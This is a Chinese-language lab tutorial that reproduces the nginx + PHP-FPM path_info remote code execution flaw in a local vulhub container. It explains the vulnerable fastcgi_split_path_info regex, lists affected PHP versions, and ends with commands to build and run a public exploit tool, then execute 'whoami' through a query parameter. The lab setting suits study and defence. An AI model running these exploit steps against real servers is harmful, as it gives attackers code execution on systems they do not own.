使用vulhub搭建环境

docker-compose up -d

前置内容

PHP-FPM(PHP FastCGI Process Manager)意:PHP FastCGI 进程管理器,用于管理PHP 进程池的软件,用于接受web服务器的请求。

PHP-FPM提供了更好的PHP进程管理方式,可以有效控制内存和进程、可以平滑重载PHP配置。

CGI(Common Gateway Interface)是一种通用网关接口,是 Web 服务器与外部程序(通常是脚本)之间进行交互的一种标准。它允许 Web 服务器动态生成网页内容,并将内容发送给客户端浏览器。CGI 脚本可以使用各种编程语言编写,如 Perl、Python、PHP、Ruby 等,它们被称为 CGI 脚本语言。这些脚本语言与 Web 服务器之间的交互遵循 CGI 协议的标准,以实现动态生成网页内容的功能

相较于传统的 CGI,FastCGI 提供了更高的性能和更好的扩展性

漏洞成因

nginx.conf文件中的配置

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_split_path_info 函数会根据提供的正则表表达式, 将请求的URL(不包括?之后的参数部分),分割为两个部分,分别赋值给变量 $fastcgi_script_name$fastcgi_path_info

由于/index.php/test%0atest 无法被正则表达式 ^(.+?\.php)(/.*)$ 分割为两个部分,所以nginx传给php-fpm的变量中 SCRIPT_NAME/index.php/test\ntest , PATH_INFO 为空

在index.php后追加一句

echo $_SERVER["PATH_INFO"];

然后重新构建镜像

docker-compose down
docker-compose up -d

访问容器中的8080端口

访问/index.php/test

[root@target www]# curl http://localhost:8080/index.php/test
hello world/test

[root@target www]# curl http://localhost:8080/index.php/test/%0atest
hello world

后面的poc编写涉及到二进制

https://xz.aliyun.com/t/6672?time__1311=n4%2BxnD0DRDBGitG8Duexlhje0%3Dea%2Bx0KeqKpox

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

Exploit

git clone https://github.com/neex/phuip-fpizdam.git cd phuip-fpizdam go get -v && go build
go run . "http://localhost:8080/index.php"

然后可以进行RCE

curl "http://localhost:8080/index.php?a=whoami"
www-data
hello world

但是因为只有部分PHP-FPM进程收到污染,所以要多尝试几次curl